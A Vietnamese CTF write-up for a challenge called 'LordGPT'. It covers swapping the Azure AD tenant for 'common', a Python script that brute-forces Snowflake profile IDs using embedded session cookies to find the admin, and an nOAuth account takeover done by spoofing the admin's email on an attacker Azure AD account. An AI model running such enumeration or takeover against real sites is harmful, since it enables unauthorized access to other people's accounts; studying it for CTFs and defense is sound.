LordGPT

Bài này cho mình một URL và 3 hint được publish lần lượt trong thời gian diễn ra giải

Khi truy cập URL ta được một trang web như sau

Tính năng duy nhất mà ta có thể sử dụng bây giờ là login với tài khoản Microsoft, tuy nhiên khi thử login với tài khoản bất kỳ mình được thông báo lỗi

Từ đây ta có được 2 thông tin

  • Với "tenant" là dãy GUID đó thì ta không thể login

  • Web có dùng đến Azure AD

Xem hint đầu tiên của bài, dẫn ta đến đường link này. Khi đọc và nghiên cứu thì mình phát hiện dãy số tenant có thể được set 4 kiểu loại giá trị như sau

Vậy thay vì để là một dãy GUID ta chỉ cần thay thành common là có thể login vào :vvvvv

Khi đăng nhập được thì cũng chỉ là giao diện hỏi chatGPT thông thường, mình thử fuzz các kiểu nhưng không có kết quả gì mà chỉ biết được:

  • Khi hỏi con chatGPT về hint nó bảo You must be Admin to ask any secret question :)))

  • Ta có thể truy cập và xem profile bằng một dãy ID

Xem đến hint thứ 2 từ challage, khi hỏi What's algorithm using to generate id? câu trả lời ta nhận được sẽ là SnowFlake

Snowflake ID là một format ID được tạo và dùng bởi Twitter (https://en.wikipedia.org/wiki/Snowflake_ID), format ID này gồm 3 phần như sau

Ta thấy chỉ có phần timestamp là sẽ linh hoạt thay đổi, vậy thì ý tưởng của mình là brute force timestamp để tìm ID của admin và xem thông tin

Đầu tiên mình cần extract Machine IDMachine Sequence Number

import datetime

decimal_number = 1753069072909750272
binary_representation = format(decimal_number,"b")

sequence = binary_representation[-12:]
machineId = binary_representation[-22:-12]

print(sequence)
print(machineId)

Từ ID của bản thân, mình lấy được Machine ID = 37Sequence Number = 000000000000

Từ đây mình có đoạn script sau để brute ID

from datetime import datetime, timezone
import requests

twitter_epoch = 1288834974657
starting_timestamp = datetime(2023, 12, 20, 00, 00, 00, tzinfo=timezone.utc)
timestamp = int(datetime.timestamp(starting_timestamp) * 1000)
machine_id = '0000100101'
sequence = '000000000000'
flag = 0
cookies = {
    "__Host-authjs.csrf-token": "f7869e8c373709e698cc15247487db01a736982e4ac3cddce08b1be7b15b94fc%7Cc801e58eb1129a71b74031394b691a7626ee4518aa2032cbedb0a4978007c88a",
    "__Secure-authjs.callback-url": "https%3A%2F%2Fchat.tienbip.xyz%2Fredirect%3Furl%3Dhttps%253a%252f%252fchat.tienbip.xyz",
    "__Secure-authjs.session-token": "eyJhbGciOiJkaXIiLCJlbmMiOiJBMjU2R0NNIn0..Gr9P2pwRFx5LFd2H.b5NJuw5QslD22leUr8ATEgyUD3kD1-zKHhnMvxLcXoKxltgfkb56DAdLpMUIhe5BdmWtDZ0n4LeB7Enuew4nQ-iJ8F4UP8my0rddiNdBmVsSqwn6WmkDDvovTW54PS5aD8DG073ArwLrAycX_bNg6SLrwYNBIk_T45XFTVJS32e0fK9gUpl03VLBhSwMTVWaqh_7sgcPTxI16IwCsdyAr8FqE-TPVvnAyYYtepHz1GVLyWKgxTs6-eY.QbA2qs56i6AMxqz6bGdY_Q"
    }

def generate_snowflake_id(timestamp, machine_id, sequence):
    snowflake_id = ((int(timestamp) << 22) | (int(machine_id, 2) << 12) | int(sequence, 2))
    return snowflake_id

for i in range(10000):     
    timestamp_brute = timestamp - twitter_epoch + i
    j = format(j,"b")
    id = generate_snowflake_id(timestamp_brute, j, sequence)
    print(id)
    url = "https://chat.tienbip.xyz/profile/"+str(id)
    res = requests.get(url, cookies=cookies)
    if "Email" in res.text:
        print(url)
        break

Tuy nhiên brute mãi không ra, có lẽ mình đã bỏ xót gì đó. Vì quá bất lực nên mình tham khảo wu này

Mình biết ngay điểm mình sai, phần MachineID được tạo thành từ WorkerIDNodeID, thông thường sẽ có nhiều Worker và trong mỗi Worker sẽ có nhiều Node để gen ID. Vì thế không chỉ có một giá trị MachineID cố định. Do ở trên mình chỉ lấy 1 giá trị MachineID để brute nên không thể nào chính xác được

Mình biết được khi đăng nhập thành công, mỗi lần reload trang index thì giá trị initialSeedData trong trang thay đổi, giá trì này cũng chính là ID gen ra từ các MachineID , lợi dụng điều này mình biết được tập giá trị MachineID[13,37,133,337]

Từ đây mình sửa script thành (để tiết kiệm thời gian thì mình xem wu luôn giá trị timestamp chính xác là lúc nào)

from datetime import datetime, timezone
import requests

twitter_epoch = 1288834974657
starting_timestamp = datetime(2023, 12, 24, 13, 33, 37, tzinfo=timezone.utc)
timestamp = int(datetime.timestamp(starting_timestamp) * 1000)
#machine_id = '0000100101'
machine_id = [13,37,133,337]
sequence = '000000000000'
flag = 0
cookies = {
    "__Host-authjs.csrf-token": "f7869e8c373709e698cc15247487db01a736982e4ac3cddce08b1be7b15b94fc%7Cc801e58eb1129a71b74031394b691a7626ee4518aa2032cbedb0a4978007c88a",
    "__Secure-authjs.callback-url": "https%3A%2F%2Fchat.tienbip.xyz%2Fredirect%3Furl%3Dhttps%253a%252f%252fchat.tienbip.xyz",
    "__Secure-authjs.session-token": "eyJhbGciOiJkaXIiLCJlbmMiOiJBMjU2R0NNIn0..Gr9P2pwRFx5LFd2H.b5NJuw5QslD22leUr8ATEgyUD3kD1-zKHhnMvxLcXoKxltgfkb56DAdLpMUIhe5BdmWtDZ0n4LeB7Enuew4nQ-iJ8F4UP8my0rddiNdBmVsSqwn6WmkDDvovTW54PS5aD8DG073ArwLrAycX_bNg6SLrwYNBIk_T45XFTVJS32e0fK9gUpl03VLBhSwMTVWaqh_7sgcPTxI16IwCsdyAr8FqE-TPVvnAyYYtepHz1GVLyWKgxTs6-eY.QbA2qs56i6AMxqz6bGdY_Q"
    }

def generate_snowflake_id(timestamp, machine_id, sequence):
    snowflake_id = ((int(timestamp) << 22) | (int(machine_id, 2) << 12) | int(sequence, 2))
    return snowflake_id

for i in range(10000):
    if flag:
        break        
    else:
        for j in machine_id:
            timestamp_brute = timestamp - twitter_epoch + i
            j = format(j,"b")
            id = generate_snowflake_id(timestamp_brute, j, sequence)
            print(id)
            url = "https://chat.tienbip.xyz/profile/"+str(id)
            res = requests.get(url, cookies=cookies)
            if "Email" in res.text:
                print(url)
                flag = 1
                break

Kết quả cho ra ID của admin là 1738915834099159040

Sau khi biết được Email của admin, ta sẽ nhìn qua hint thứ 3 của chall là nOAuth . Search gg về từ khóa này thì ngay từ link đầu tiên đã cho mình một bài blog chi tiết về cách exploit nOAuth (https://www.descope.com/blog/post/noauth)

Bài blog đã có giải thích chi tiết về nOAuth, kiểu tấn công này xảy ra khi ta lợi dụng cơ chế OAuth của Microsoft, cộng thêm việc trang web khi implement OAuth sử dụng claim là untrusted data. Từ đó attacker có thể takeover account.

Cụ thể nếu như trang web dùng Azure AD để authen và dùng email làm claim để identify user, attacker với account là attacker@outlook.com có thể đổi thông tin email trong tài khoản AzureAD thành victim@outlook.com, khi đó khi đăng nhập vào với mail là attacker@outlook.com, nhưng ứng dụng khi kiểm tra mail để identify thì lại ra kết quả là victim@outlook.com. Từ đó attacker take over được victim account

Tuy nhiên còn một điều kiện nữa để viễn cảnh trên xảy ra, đó là trang web có thể merge account từ những vendor khác như Facebook, Google. Hoặc điều kiện thứ 2 là trang web chỉ OAuth qua Microsoft, trong ngữ cảnh của challage thì trường hợp 2 xảy ra, do đó khả thi để exploit nOAuth

Để exploit mình sẽ tạo một account AzureAD và chỉnh mail ở phần contacts information thành mail admin

Lúc này chỉ cần đăng nhập với User principal name của mình

Flag:

Last updated